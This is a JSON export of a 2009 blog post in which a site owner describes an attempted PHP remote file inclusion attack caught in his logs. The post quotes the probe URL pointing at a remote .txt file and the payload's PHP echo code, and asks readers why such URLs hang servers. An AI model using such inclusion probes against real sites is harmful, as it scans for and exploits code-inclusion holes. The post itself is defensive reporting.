{"id":515,"date":"2009-05-22T13:26:36","date_gmt":"2009-05-22T21:26:36","guid":{"rendered":"http:\/\/www.scamdex.com\/ScamBlog\/2009\/05\/php-exploit-url-foxes-apache\/"},"modified":"2009-08-13T17:50:38","modified_gmt":"2009-08-14T01:50:38","slug":"php-exploit-url-foxes-apache","status":"publish","type":"post","link":"https:\/\/scamdex.com\/ScamBlog\/2009\/05\/php-exploit-url-foxes-apache\/","title":{"rendered":"PHP Exploit URL foxes Apache"},"content":{"rendered":"<p>There are a lot of smart people out there who know way too much about computers and software and stuff, like this guy: &#8216;<a href=\"http:\/\/perishablepress.com\/?scamdex\">Perishable Press<\/a>&#8216;. So, can someone clever please tell me why this simple url hangs up a bunch of seemingly dissimilar web servers:<br \/>\n<a title=\"http:\/\/www.blahblah.com\/errors.php?error=http:\/\/abirdseyeviewof.com\/files\/image\/id1.txt?\" href=\"http:\/\/www.blahblah.com\/errors.php?error=http:\/\/abirdseyeviewof.com\/files\/image\/id1.txt?\" target=\"_blank\"><br \/>\nhttp:\/\/www.microsoft.com\/errors.php?error=http:\/\/abirdseyeviewof.com\/files\/image\/id1.txt?<br \/>\n<\/a><\/p>\n<figure id=\"attachment_518\" aria-describedby=\"caption-attachment-518\" style=\"width: 232px\" class=\"wp-caption alignright\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-518\" title=\"bananas\" src=\"http:\/\/www.scamdex.com\/ScamBlog\/wp-content\/uploads\/2009\/05\/bananas.jpg\" alt=\"My banana was once part of a bunch very similar to this one\" width=\"232\" height=\"168\" \/><figcaption id=\"caption-attachment-518\" class=\"wp-caption-text\">My banana was once part of a bunch very similar to this one<\/figcaption><\/figure>\n<p>Here&#8217;s the deal &#8211; when someone asks for a webpage on Scamdex that doesn&#8217;t exist, it shoots me a quick email to tell me about it. That way I can see if anything is broken and if anyone is trying to hack my site. My normal response to obviousl hack-attempts\u00c2\u00a0 is to block the IP address or use .htaccess rewrite rules to send them to an oh-so-friendly\u00c2\u00a0 &#8216;<a href=\"http:\/\/scamdex.com\/fuckyou.html\">go away page<\/a>&#8216; :).<\/p>\n<p>In this case, the URL carries a payload that is itself a\u00c2\u00a0 link to a file on a remote site, which it hopes I will allow to run on my server. The code (which is reproduced in it&#8217;s entirety here) will, if allowed to run, return the word &#8216;FeelCoMz&#8217; to the &#8216;sKriptKiDee&#8217;, aka &#8216;Wanker&#8217;\u00c2\u00a0 on the sending end.<\/p>\n<blockquote>\n<pre>&lt;?php \/* Fx29ID *\/ echo(\"FeeL\".\"CoMz\"); die(\"FeeL\".\"CoMz\"); \/* Fx29ID *\/ ?&gt;<\/pre>\n<\/blockquote>\n<p>So&#8230; it didn&#8217;t work, I trapped it and it raised a red flag, but then why, when I try the URL does it make a browser stand blinking like a deer in the proverbial headlights for 120 seconds before falling flat on it&#8217;s back?<\/p>\n<p>Analyzing the url gets me to this reduction of required parts:<\/p>\n<p>* any .php file path.<br \/>\n* any query string, that contains a &#8216;http:\/\/&#8217; in<br \/>\n* must have a file extension such as txt, gif, png etc.<br \/>\n* must have the trailing &#8216;?&#8217;<\/p>\n<p>will cause the same problem on an awful lot of famous name servers. For example, including mine: scamdex.com, uniplex.com, google.com, microsoft.com, amazon.com etc etc.<\/p>\n<p>For example, in the following link, everything except &#8216;www.amazon.com&#8217; is made up<br \/>\n<a href=\"http:\/\/www.amazon.com\/a.php?b=http:\/\/c.gif?\"><br \/>\nhttp:\/\/www.amazon.com\/a.php?b=http:\/\/c.gif?<\/a><\/p>\n<p>but it still exhibits the same behaviour &#8211; WTF is going on?<\/p>\n<p>and why, oh why can&#8217;t I detect it in my .htaccess file?<\/p>\n<p>First person to:<br \/>\n1. Tell me why it&#8217;s happening.<br \/>\n2. Tell me how to detect it and stop  it happening.<br \/>\n3. Tell me why Google hates me.<\/p>\n<p>gets a really major serious prize like my personal desktop banana, or this lovely (chipped) coffee mug with the name of a football club I don&#8217;t support on it &#8211; or even my second best earphones.<\/p>\n<p>Good luck!<\/p>\n<p>_________________________________<\/p>\n<p>Still no replies and it&#8217;s still happening&#8230;. where have all the gurus gone?<\/p>\n","protected":false},"excerpt":{"rendered":"<p>There are a lot of smart people out there who know way too much about computers and software and stuff, like this guy: &#8216;Perishable Press&#8216;. So, can someone clever please tell me why this simple url hangs up a bunch of seemingly dissimilar web servers: http:\/\/www.microsoft.com\/errors.php?error=http:\/\/abirdseyeviewof.com\/files\/image\/id1.txt? Here&#8217;s the deal &#8211; when someone asks for a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[38,16,79,15,83,1,12],"tags":[110,106,107,108,105,109,111],"_links":{"self":[{"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/posts\/515"}],"collection":[{"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/comments?post=515"}],"version-history":[{"count":8,"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/posts\/515\/revisions"}],"predecessor-version":[{"id":516,"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/posts\/515\/revisions\/516"}],"wp:attachment":[{"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/media?parent=515"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/categories?post=515"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/scamdex.com\/ScamBlog\/wp-json\/wp\/v2\/tags?post=515"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}